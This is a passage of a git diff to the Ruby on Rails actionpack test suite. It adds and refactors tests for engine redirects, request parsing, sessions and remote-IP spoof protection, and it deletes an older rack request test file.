path = engine_object.polymorphic_url(Post.new, :host => "www.example.com")
assert_equal "http://www.example.com/awesome/blog/posts/1", path
end
+
+ private
+ def verify_redirect(url, status = 301)
+ assert_equal status, last_response.status
+ assert_equal url, last_response.headers["Location"]
+ assert_equal expected_redirect_body(url), last_response.body
+ end
+
+ def expected_redirect_body(url)
+ %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+ end
end
class EngineMountedAtRoot < ActionDispatch::IntegrationTest
@@ -281,6 +366,20 @@ module TestGenerationPrefix
routes = ActionDispatch::Routing::RouteSet.new
routes.draw do
get "/posts/:id", :to => "posts#show", :as => :post
+
+ get "/relative_path_root", :to => redirect("")
+ get "/relative_path_redirect", :to => redirect("foo")
+ get "/relative_option_root", :to => redirect(:path => "")
+ get "/relative_option_redirect", :to => redirect(:path => "foo")
+ get "/relative_custom_root", :to => redirect { |params, request| "" }
+ get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
+
+ get "/absolute_path_root", :to => redirect("/")
+ get "/absolute_path_redirect", :to => redirect("/foo")
+ get "/absolute_option_root", :to => redirect(:path => "/")
+ get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+ get "/absolute_custom_root", :to => redirect { |params, request| "/" }
+ get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
end
routes
@@ -331,5 +430,76 @@ module TestGenerationPrefix
get "/posts/1"
assert_equal "/posts/1", last_response.body
end
+
+ test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+ get "/relative_path_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
+ get "/relative_path_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+ get "/relative_option_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
+ get "/relative_option_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+ get "/relative_custom_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
+ get "/relative_custom_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+ get "/absolute_path_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
+ get "/absolute_path_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+ get "/absolute_option_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
+ get "/absolute_option_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+ get "/absolute_custom_root"
+ verify_redirect "http://example.org/"
+ end
+
+ test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
+ get "/absolute_custom_redirect"
+ verify_redirect "http://example.org/foo"
+ end
+
+ private
+ def verify_redirect(url, status = 301)
+ assert_equal status, last_response.status
+ assert_equal url, last_response.headers["Location"]
+ assert_equal expected_redirect_body(url), last_response.body
+ end
+
+ def expected_redirect_body(url)
+ %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+ end
end
end
diff --git a/actionpack/test/dispatch/rack_test.rb b/actionpack/test/dispatch/rack_test.rb
deleted file mode 100644
index 42067854ee..0000000000
--- a/actionpack/test/dispatch/rack_test.rb
+++ /dev/null
@@ -1,191 +0,0 @@
-require 'abstract_unit'
-
-# TODO: Merge these tests into RequestTest
-
-class BaseRackTest < ActiveSupport::TestCase
- def setup
- @env = {
- "HTTP_MAX_FORWARDS" => "10",
- "SERVER_NAME" => "glu.ttono.us",
- "FCGI_ROLE" => "RESPONDER",
- "AUTH_TYPE" => "Basic",
- "HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
- "HTTP_ACCEPT_CHARSET" => "UTF-8",
- "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
- "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
- "HTTP_PRAGMA" => "no-cache",
- "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
- "PATH_INFO" => "/homepage/",
- "HTTP_ACCEPT_LANGUAGE" => "en",
- "HTTP_NEGOTIATE" => "trans",
- "HTTP_HOST" => "glu.ttono.us:8007",
- "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
- "HTTP_FROM" => "googlebot",
- "SERVER_PROTOCOL" => "HTTP/1.1",
- "REDIRECT_URI" => "/dispatch.fcgi",
- "SCRIPT_NAME" => "/dispatch.fcgi",
- "SERVER_ADDR" => "207.7.108.53",
- "REMOTE_ADDR" => "207.7.108.53",
- "REMOTE_HOST" => "google.com",
- "REMOTE_IDENT" => "kevin",
- "REMOTE_USER" => "kevin",
- "SERVER_SOFTWARE" => "lighttpd/1.4.5",
- "HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes",
- "HTTP_X_FORWARDED_SERVER" => "glu.ttono.us",
- "REQUEST_URI" => "/admin",
- "DOCUMENT_ROOT" => "/home/kevinc/sites/typo/public",
- "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
- "SERVER_PORT" => "8007",
- "QUERY_STRING" => "",
- "REMOTE_PORT" => "63137",
- "GATEWAY_INTERFACE" => "CGI/1.1",
- "HTTP_X_FORWARDED_FOR" => "65.88.180.234",
- "HTTP_ACCEPT" => "*/*",
- "SCRIPT_FILENAME" => "/home/kevinc/sites/typo/public/dispatch.fcgi",
- "REDIRECT_STATUS" => "200",
- "REQUEST_METHOD" => "GET"
- }
- @request = ActionDispatch::Request.new(@env)
- # some Nokia phone browsers omit the space after the semicolon separator.
- # some developers have grown accustomed to using comma in cookie values.
- @alt_cookie_fmt_request = ActionDispatch::Request.new(@env.merge({"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}))
- end
-
- private
- def set_content_data(data)
- @request.env['REQUEST_METHOD'] = 'POST'
- @request.env['CONTENT_LENGTH'] = data.length
- @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
- @request.env['rack.input'] = StringIO.new(data)
- end
-end
-
-class RackRequestTest < BaseRackTest
- test "proxy request" do
- assert_equal 'glu.ttono.us', @request.host_with_port
- end
-
- test "http host" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env['HTTP_HOST'] = "rubyonrails.org:8080"
- assert_equal "rubyonrails.org", @request.host
- assert_equal "rubyonrails.org:8080", @request.host_with_port
-
- @env['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org"
- assert_equal "www.secondhost.org", @request.host
- end
-
- test "http host with default port overrides server port" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env['HTTP_HOST'] = "rubyonrails.org"
- assert_equal "rubyonrails.org", @request.host_with_port
- end
-
- test "host with port defaults to server name if no host headers" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env.delete "HTTP_HOST"
- assert_equal "glu.ttono.us:8007", @request.host_with_port
- end
-
- test "host with port falls back to server addr if necessary" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env.delete "HTTP_HOST"
- @env.delete "SERVER_NAME"
- assert_equal "207.7.108.53", @request.host
- assert_equal 8007, @request.port
- assert_equal "207.7.108.53:8007", @request.host_with_port
- end
-
- test "host with port if http standard port is specified" do
- @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80"
- assert_equal "glu.ttono.us", @request.host_with_port
- end
-
- test "host with port if https standard port is specified" do
- @env['HTTP_X_FORWARDED_PROTO'] = "https"
- @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443"
- assert_equal "glu.ttono.us", @request.host_with_port
- end
-
- test "host if ipv6 reference" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]"
- assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
- end
-
- test "host if ipv6 reference with port" do
- @env.delete "HTTP_X_FORWARDED_HOST"
- @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008"
- assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
- end
-
- test "cgi environment variables" do
- assert_equal "Basic", @request.auth_type
- assert_equal 0, @request.content_length
- assert_equal nil, @request.content_mime_type
- assert_equal "CGI/1.1", @request.gateway_interface
- assert_equal "*/*", @request.accept
- assert_equal "UTF-8", @request.accept_charset
- assert_equal "gzip, deflate", @request.accept_encoding
- assert_equal "en", @request.accept_language
- assert_equal "no-cache, max-age=0", @request.cache_control
- assert_equal "googlebot", @request.from
- assert_equal "glu.ttono.us", @request.host
- assert_equal "trans", @request.negotiate
- assert_equal "no-cache", @request.pragma
- assert_equal "http://www.google.com/search?q=glu.ttono.us", @request.referer
- assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", @request.user_agent
- assert_equal "/homepage/", @request.path_info
- assert_equal "/home/kevinc/sites/typo/public/homepage/", @request.path_translated
- assert_equal "", @request.query_string
- assert_equal "207.7.108.53", @request.remote_addr
- assert_equal "google.com", @request.remote_host
- assert_equal "kevin", @request.remote_ident
- assert_equal "kevin", @request.remote_user
- assert_equal "GET", @request.request_method
- assert_equal "/dispatch.fcgi", @request.script_name
- assert_equal "glu.ttono.us", @request.server_name
- assert_equal 8007, @request.server_port
- assert_equal "HTTP/1.1", @request.server_protocol
- assert_equal "lighttpd", @request.server_software
- end
-
- test "cookie syntax resilience" do
- cookies = @request.cookies
- assert_equal "c84ace84796670c052c6ceb2451fb0f2", cookies["_session_id"], cookies.inspect
- assert_equal "yes", cookies["is_admin"], cookies.inspect
-
- alt_cookies = @alt_cookie_fmt_request.cookies
- #assert_equal "c84ace847,96670c052c6ceb2451fb0f2", alt_cookies["_session_id"], alt_cookies.inspect
- assert_equal "yes", alt_cookies["is_admin"], alt_cookies.inspect
- end
-end
-
-class RackRequestParamsParsingTest < BaseRackTest
- test "doesnt break when content type has charset" do
- set_content_data 'flamenco=love'
-
- assert_equal({"flamenco"=> "love"}, @request.request_parameters)
- end
-
- test "doesnt interpret request uri as query string when missing" do
- @request.env['REQUEST_URI'] = 'foo'
- assert_equal({}, @request.query_parameters)
- end
-end
-
-class RackRequestNeedsRewoundTest < BaseRackTest
- test "body should be rewound" do
- data = 'foo'
- @env['rack.input'] = StringIO.new(data)
- @env['CONTENT_LENGTH'] = data.length
- @env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
-
- # Read the request body by parsing params.
- request = ActionDispatch::Request.new(@env)
- request.request_parameters
-
- # Should have rewound the body.
- assert_equal 0, request.body.pos
- end
-end
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
index b62ed6a8b2..c609075e6b 100644
--- a/actionpack/test/dispatch/request/json_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -23,6 +23,13 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
)
end
+ test "parses boolean and number json params for application json" do
+ assert_parses(
+ {"item" => {"enabled" => false, "count" => 10}},
+ "{\"item\": {\"enabled\": false, \"count\": 10}}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ end
+
test "parses json params for application jsonrequest" do
assert_parses(
{"person" => {"name" => "David"}},
@@ -70,6 +77,13 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
end
end
+ test 'raw_post is not empty for JSON request' do
+ with_test_routing do
+ post '/parse', '{"posts": [{"title": "Post Title"}]}', 'CONTENT_TYPE' => 'application/json'
+ assert_equal '{"posts": [{"title": "Post Title"}]}', request.raw_post
+ end
+ end
+
private
def assert_parses(expected, actual, headers = {})
with_test_routing do
diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
index 3c30a705e9..2a2f92b5b3 100644
--- a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
@@ -108,8 +108,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
# Rack doesn't handle multipart/mixed for us.
files = params['files']
- files.force_encoding('ASCII-8BIT')
- assert_equal 19756, files.size
+ assert_equal 19756, files.bytesize
end
test "does not create tempfile if no file has been selected" do
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
index f072a9f717..d82493140f 100644
--- a/actionpack/test/dispatch/request/query_string_parsing_test.rb
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -11,6 +11,17 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
head :ok
end
end
+ class EarlyParse
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ # Trigger a Rack parse so that env caches the query params
+ Rack::Request.new(env).params
+ @app.call(env)
+ end
+ end
def teardown
TestController.last_query_parameters = nil
@@ -93,6 +104,21 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
assert_parses({"action" => ['1']}, "action[]=1&action[]")
end
+ test "perform_deep_munge" do
+ ActionDispatch::Request::Utils.perform_deep_munge = false
+ begin
+ assert_parses({"action" => nil}, "action")
+ assert_parses({"action" => {"foo" => nil}}, "action[foo]")
+ assert_parses({"action" => {"foo" => {"bar" => nil}}}, "action[foo][bar]")
+ assert_parses({"action" => {"foo" => {"bar" => [nil]}}}, "action[foo][bar][]")
+ assert_parses({"action" => {"foo" => [nil]}}, "action[foo][]")
+ assert_parses({"action" => {"foo" => [{"bar" => nil}]}}, "action[foo][][bar]")
+ assert_parses({"action" => ['1',nil]}, "action[]=1&action[]")
+ ensure
+ ActionDispatch::Request::Utils.perform_deep_munge = true
+ end
+ end
+
test "query string with empty key" do
assert_parses(
{ "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
@@ -131,6 +157,10 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
set.draw do
get ':action', :to => ::QueryStringParsingTest::TestController
end
+ @app = self.class.build_app(set) do |middleware|
+ middleware.use(EarlyParse)
+ end
+
get "/parse", actual
assert_response :ok
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
index 1517f96fdc..10fb04e230 100644
--- a/actionpack/test/dispatch/request/session_test.rb
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -36,29 +36,71 @@ module ActionDispatch
assert_equal s, Session.find(env)
end
+ def test_destroy
+ s = Session.create(store, {}, {})
+ s['rails'] = 'ftw'
+
+ s.destroy
+
+ assert_empty s
+ end
+
def test_keys
- env = {}
- s = Session.create(store, env, {})
+ s = Session.create(store, {}, {})
s['rails'] = 'ftw'
s['adequate'] = 'awesome'
assert_equal %w[rails adequate], s.keys
end
def test_values
- env = {}
- s = Session.create(store, env, {})
+ s = Session.create(store, {}, {})
s['rails'] = 'ftw'
s['adequate'] = 'awesome'
assert_equal %w[ftw awesome], s.values
end
def test_clear
- env = {}
- s = Session.create(store, env, {})
+ s = Session.create(store, {}, {})
s['rails'] = 'ftw'
s['adequate'] = 'awesome'
+
s.clear
- assert_equal([], s.values)
+ assert_empty(s.values)
+ end
+
+ def test_update
+ s = Session.create(store, {}, {})
+ s['rails'] = 'ftw'
+
+ s.update(:rails => 'awesome')
+
+ assert_equal(['rails'], s.keys)
+ assert_equal('awesome', s['rails'])
+ end
+
+ def test_delete
+ s = Session.create(store, {}, {})
+ s['rails'] = 'ftw'
+
+ s.delete('rails')
+
+ assert_empty(s.keys)
+ end
+
+ def test_fetch
+ session = Session.create(store, {}, {})
+
+ session['one'] = '1'
+ assert_equal '1', session.fetch(:one)
+
+ assert_equal '2', session.fetch(:two, '2')
+ assert_nil session.fetch(:two, nil)
+
+ assert_equal 'three', session.fetch(:three) {|el| el.to_s }
+
+ assert_raise KeyError do
+ session.fetch(:three)
+ end
end
private
@@ -66,6 +108,7 @@ module ActionDispatch
Class.new {
def load_session(env); [1, {}]; end
def session_exists?(env); true; end
+ def destroy_session(env, id, options); 123; end
}.new
end
end
diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
index 9169658c22..9a77454f30 100644
--- a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
@@ -17,10 +17,9 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
end
test "parses unbalanced query string with array" do
- assert_parses(
- {'location' => ["1", "2"], 'age_group' => ["2"]},
- "location[]=1&location[]=2&age_group[]=2"
- )
+ query = "location[]=1&location[]=2&age_group[]=2"
+ expected = { 'location' => ["1", "2"], 'age_group' => ["2"] }
+ assert_parses expected, query
end
test "parses nested hash" do
@@ -30,9 +29,17 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"note[viewers][viewer][][type]=Group",
"note[viewers][viewer][][id]=2"
].join("&")
-
- expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
- assert_parses(expected, query)
+ expected = {
+ "note" => {
+ "viewers" => {
+ "viewer" => [
+ { "id" => "1", "type" => "User" },
+ { "type" => "Group", "id" => "2" }
+ ]
+ }
+ }
+ }
+ assert_parses expected, query
end
test "parses more complex nesting" do
@@ -48,7 +55,6 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"products[second]=Pc",
"=Save"
].join("&")
-
expected = {
"customers" => {
"boston" => {
@@ -70,13 +76,12 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"second" => "Pc"
}
}
-
assert_parses expected, query
end
test "parses params with array" do
- query = "selected[]=1&selected[]=2&selected[]=3"
- expected = { "selected" => [ "1", "2", "3" ] }
+ query = "selected[]=1&selected[]=2&selected[]=3"
+ expected = { "selected" => ["1", "2", "3"] }
assert_parses expected, query
end
@@ -88,13 +93,13 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
test "parses params with array prefix and hashes" do
query = "a[][b][c]=d"
- expected = {"a" => [{"b" => {"c" => "d"}}]}
+ expected = { "a" => [{ "b" => { "c" => "d" } }] }
assert_parses expected, query
end
test "parses params with complex nesting" do
query = "a[][b][c][][d][]=e"
- expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
+ expected = { "a" => [{ "b" => { "c" => [{ "d" => ["e"] }] } }] }
assert_parses expected, query
end
@@ -104,7 +109,6 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"something_else=blah",
"logo=#{File.expand_path(__FILE__)}"
].join("&")
-
expected = {
"customers" => {
"boston" => {
@@ -116,22 +120,20 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
"something_else" => "blah",
"logo" => File.expand_path(__FILE__),
}
-
assert_parses expected, query
end
test "parses params with Safari 2 trailing null character" do
- query = "selected[]=1&selected[]=2&selected[]=3\0"
- expected = { "selected" => [ "1", "2", "3" ] }
+ query = "selected[]=1&selected[]=2&selected[]=3\0"
+ expected = { "selected" => ["1", "2", "3"] }
assert_parses expected, query
end
test "ambiguous params returns a bad request" do
with_routing do |set|
set.draw do
- post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
+ post ':action', to: ::UrlEncodedParamsParsingTest::TestController
end
-
post "/parse", "foo[]=bar&foo[4]=bar"
assert_response :bad_request
end
@@ -141,7 +143,7 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
def with_test_routing
with_routing do |set|
set.draw do
- post ':action', :to => ::UrlEncodedParamsParsingTest::TestController
+ post ':action', to: ::UrlEncodedParamsParsingTest::TestController
end
yield
end
@@ -151,8 +153,8 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
with_test_routing do
post "/parse", actual
assert_response :ok
- assert_equal(expected, TestController.last_request_parameters)
- assert_utf8(TestController.last_request_parameters)
+ assert_equal expected, TestController.last_request_parameters
+ assert_utf8 TestController.last_request_parameters
end
end
@@ -167,11 +169,11 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
object.each_value do |v|
case v
when Hash
- assert_utf8(v)
+ assert_utf8 v
when Array
- v.each {|el| assert_utf8(el) }
+ v.each { |el| assert_utf8 el }
else
- assert_utf8(v)
+ assert_utf8 v
end
end
end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index f6de9748ca..b48e8ab974 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -1,12 +1,34 @@
require 'abstract_unit'
-class RequestTest < ActiveSupport::TestCase
+class BaseRequestTest < ActiveSupport::TestCase
+ def setup
+ @env = {
+ :ip_spoofing_check => true,
+ :tld_length => 1,
+ "rack.input" => "foo"
+ }
+ end
def url_for(options = {})
options = { host: 'www.example.com' }.merge!(options)
ActionDispatch::Http::URL.url_for(options)
end
+ protected
+ def stub_request(env = {})
+ ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true
+ @trusted_proxies ||= nil
+ ip_app = ActionDispatch::RemoteIp.new(Proc.new { }, ip_spoofing_check, @trusted_proxies)
+ tld_length = env.key?(:tld_length) ? env.delete(:tld_length) : 1
+ ip_app.call(env)
+ ActionDispatch::Http::URL.tld_length = tld_length
+
+ env = @env.merge(env)
+ ActionDispatch::Request.new(env)
+ end
+end
+
+class RequestUrlFor < BaseRequestTest
test "url_for class method" do
e = assert_raise(ArgumentError) { url_for(:host => nil) }
assert_match(/Please provide the :host parameter/, e.message)
@@ -31,7 +53,9 @@ class RequestTest < ActiveSupport::TestCase
assert_equal 'http://www.example.com?params=', url_for(:params => '')
assert_equal 'http://www.example.com?params=1', url_for(:params => 1)
end
+end
+class RequestIP < BaseRequestTest
test "remote ip" do
request = stub_request 'REMOTE_ADDR' => '1.2.3.4'
assert_equal '1.2.3.4', request.remote_ip
@@ -93,6 +117,14 @@ class RequestTest < ActiveSupport::TestCase
assert_equal '1.1.1.1', request.remote_ip
end
+ test "remote ip spoof protection ignores private addresses" do
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.17.19.51',
+ 'HTTP_CLIENT_IP' => '172.17.19.51',
+ 'REMOTE_ADDR' => '1.1.1.1',
+ 'HTTP_X_BLUECOAT_VIA' => 'de462e07a2db325e'
+ assert_equal '1.1.1.1', request.remote_ip
+ end
+
test "remote ip v6" do
request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
@@ -120,9 +152,12 @@ class RequestTest < ActiveSupport::TestCase
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,::1'
assert_equal nil, request.remote_ip
- request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::'
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::, fc01::, fdff'
assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => 'FE00::, FDFF::'
+ assert_equal 'FE00::', request.remote_ip
+
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'not_ip_address'
assert_equal nil, request.remote_ip
end
@@ -212,10 +247,12 @@ class RequestTest < ActiveSupport::TestCase
end
test "remote ip middleware not present still returns an IP" do
- request = ActionDispatch::Request.new({'REMOTE_ADDR' => '127.0.0.1'})
+ request = stub_request('REMOTE_ADDR' => '127.0.0.1')
assert_equal '127.0.0.1', request.remote_ip
end
+end
+class RequestDomain < BaseRequestTest
test "domains" do
request = stub_request 'HTTP_HOST' => 'www.rubyonrails.org'
assert_equal "rubyonrails.org", request.domain
@@ -273,7 +310,9 @@ class RequestTest < ActiveSupport::TestCase
assert_equal [], request.subdomains
assert_equal "", request.subdomain
end
+end
+class RequestPort < BaseRequestTest
test "standard_port" do
request = stub_request
assert_equal 80, request.standard_port
@@ -315,7 +354,9 @@ class RequestTest < ActiveSupport::TestCase
request = stub_request 'HTTP_HOST' => 'www.example.org:8080'
assert_equal ':8080', request.port_string
end
+end
+class RequestPath < BaseRequestTest
test "full path" do
request = stub_request 'SCRIPT_NAME' => '', 'PATH_INFO' => '/path/of/some/uri', 'QUERY_STRING' => 'mapped=1'
assert_equal "/path/of/some/uri?mapped=1", request.fullpath
@@ -346,6 +387,32 @@ class RequestTest < ActiveSupport::TestCase
assert_equal "/of/some/uri", request.path_info
end
+ test "original_fullpath returns ORIGINAL_FULLPATH" do
+ request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar")
+
+ path = request.original_fullpath
+ assert_equal "/foo?bar", path
+ end
+
+ test "original_url returns url built using ORIGINAL_FULLPATH" do
+ request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar",
+ 'HTTP_HOST' => "example.org",
+ 'rack.url_scheme' => "http")
+
+ url = request.original_url
+ assert_equal "http://example.org/foo?bar", url
+ end
+
+ test "original_fullpath returns fullpath if ORIGINAL_FULLPATH is not present" do
+ request = stub_request('PATH_INFO' => "/foo",
+ 'QUERY_STRING' => "bar")
+
+ path = request.original_fullpath
+ assert_equal "/foo?bar", path
+ end
+end
+
+class RequestHost < BaseRequestTest
test "host with default port" do
request = stub_request 'HTTP_HOST' => 'rubyonrails.org:80'
assert_equal "rubyonrails.org", request.host_with_port
@@ -356,15 +423,174 @@ class RequestTest < ActiveSupport::TestCase
assert_equal "rubyonrails.org:81", request.host_with_port
end
- test "server software" do
- request = stub_request
- assert_equal nil, request.server_software
+ test "proxy request" do
+ request = stub_request 'HTTP_HOST' => 'glu.ttono.us:80'
+ assert_equal "glu.ttono.us", request.host_with_port
+ end
+
+ test "http host" do
+ request = stub_request 'HTTP_HOST' => "rubyonrails.org:8080"
+ assert_equal "rubyonrails.org", request.host
+ assert_equal "rubyonrails.org:8080", request.host_with_port
+
+ request = stub_request 'HTTP_X_FORWARDED_HOST' => "www.firsthost.org, www.secondhost.org"
+ assert_equal "www.secondhost.org", request.host
+ end
+
+ test "http host with default port overrides server port" do
+ request = stub_request 'HTTP_HOST' => "rubyonrails.org"
+ assert_equal "rubyonrails.org", request.host_with_port
+ end
+
+ test "host with port if http standard port is specified" do
+ request = stub_request 'HTTP_X_FORWARDED_HOST' => "glu.ttono.us:80"
+ assert_equal "glu.ttono.us", request.host_with_port
+ end
+
+ test "host with port if https standard port is specified" do
+ request = stub_request(
+ 'HTTP_X_FORWARDED_PROTO' => "https",
+ 'HTTP_X_FORWARDED_HOST' => "glu.ttono.us:443"
+ )
+ assert_equal "glu.ttono.us", request.host_with_port
+ end
+
+ test "host if ipv6 reference" do
+ request = stub_request 'HTTP_HOST' => "[2001:1234:5678:9abc:def0::dead:beef]"
+ assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", request.host
+ end
+
+ test "host if ipv6 reference with port" do
+ request = stub_request 'HTTP_HOST' => "[2001:1234:5678:9abc:def0::dead:beef]:8008"
+ assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", request.host
+ end
+end
+
+class RequestCGI < BaseRequestTest
+ test "CGI environment variables" do
+ request = stub_request(
+ "AUTH_TYPE" => "Basic",
+ "GATEWAY_INTERFACE" => "CGI/1.1",
+ "HTTP_ACCEPT" => "*/*",
+ "HTTP_ACCEPT_CHARSET" => "UTF-8",
+ "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
+ "HTTP_ACCEPT_LANGUAGE" => "en",
+ "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
+ "HTTP_FROM" => "googlebot",
+ "HTTP_HOST" => "glu.ttono.us:8007",
+ "HTTP_NEGOTIATE" => "trans",
+ "HTTP_PRAGMA" => "no-cache",
+ "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
+ "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
+ "PATH_INFO" => "/homepage/",
+ "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
+ "QUERY_STRING" => "",
+ "REMOTE_ADDR" => "207.7.108.53",
+ "REMOTE_HOST" => "google.com",
+ "REMOTE_IDENT" => "kevin",
+ "REMOTE_USER" => "kevin",
+ "REQUEST_METHOD" => "GET",
+ "SCRIPT_NAME" => "/dispatch.fcgi",
+ "SERVER_NAME" => "glu.ttono.us",
+ "SERVER_PORT" => "8007",
+ "SERVER_PROTOCOL" => "HTTP/1.1",
+ "SERVER_SOFTWARE" => "lighttpd/1.4.5",
+ )
+
+ assert_equal "Basic", request.auth_type
+ assert_equal 0, request.content_length
+ assert_equal nil, request.content_mime_type
+ assert_equal "CGI/1.1", request.gateway_interface
+ assert_equal "*/*", request.accept
+ assert_equal "UTF-8", request.accept_charset
+ assert_equal "gzip, deflate", request.accept_encoding
+ assert_equal "en", request.accept_language
+ assert_equal "no-cache, max-age=0", request.cache_control
+ assert_equal "googlebot", request.from
+ assert_equal "glu.ttono.us", request.host
+ assert_equal "trans", request.negotiate
+ assert_equal "no-cache", request.pragma
